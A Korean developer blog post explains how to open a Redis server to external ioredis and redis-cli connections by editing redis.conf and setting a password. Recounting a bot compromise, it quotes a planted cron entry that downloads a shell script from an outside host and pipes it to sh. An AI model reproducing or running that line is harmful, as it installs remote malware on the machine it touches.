서비스개발(Web, App)/Back-End

Node.js ioredis(Redis) 외부 접속

Roothyo 2021. 8. 19. 14:03

socket io를 사용한 채팅서버 개발중에 local과 server에서의 db를 통합시키기 위해서,

 

ioredis로 외부 접속을 하기 위한 방법에 대해 정리하기 위하여, 포스팅을 한다.

 

먼저 로컬에서 Redis 인스턴스를 선언하는 부분이다.

const Redis = require("ioredis");
const redisClient = new Redis({
    host: 'Domain or IP',
    port: port,
});

module.exports = redisClient;

host 부분에 도메인 혹은 IP를 입력하고

port 부분에 열린 port를 넣어주면 된다.

 

그리고 Redis의 config도 바꿔주어야 한다.

/etc/redis/redis.conf 파일을 수정해준다.

 

#bind 127.0.0.1 :: 1
bind 0.0.0.0

#port 6379
port ????
# ????대신에 custom port를 지정하세요


# requirepass password (auth 처리)
requirepass password

 

파일을 수정하고 나면, service를 restart 해준다.

$ sudo service redis-server restart

 

 

* port를 Redis 기본 포트인 6379를 열게 되면, 봇들에 의해서, 해킹이 되는 것 같다.

 

기존에 생성한 데이터가 없어지고, redis의 key가 backup1, backup2 ... 하고 만들어지면, 

127.0.0.1:6379> get backup1
"\n\n\n*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n"

이런식의 경우가 생긴다.

 

따라서 보안조치를 더욱 철저히 해야함을 느낀다.

계정 설정이나, 방화벽 설정을 잘 해야할 것 같다.

 

 

외부에서 redis-cli로 접근하기 위해서는 아래 명령어로 접근하면 된다.

redis-cli
 -h : host ip address
 -p : port number
 -a : password

redis-cli -h 127.0.0.1 -p 6379 -a mysupersecretpassword

 

redis-cli에서 암호가 설정되어 있는 경우

암호가 설정이 되어있는경우 Error가 발생되며 인증이 필요하다고 알려준다.((error) NOAUTH Authentication required.)

127.0.0.1:6379 > auth password

를 통해 들어가면 된다.

 


출처: https://info-lab.tistory.com/92 [:: IT School ::]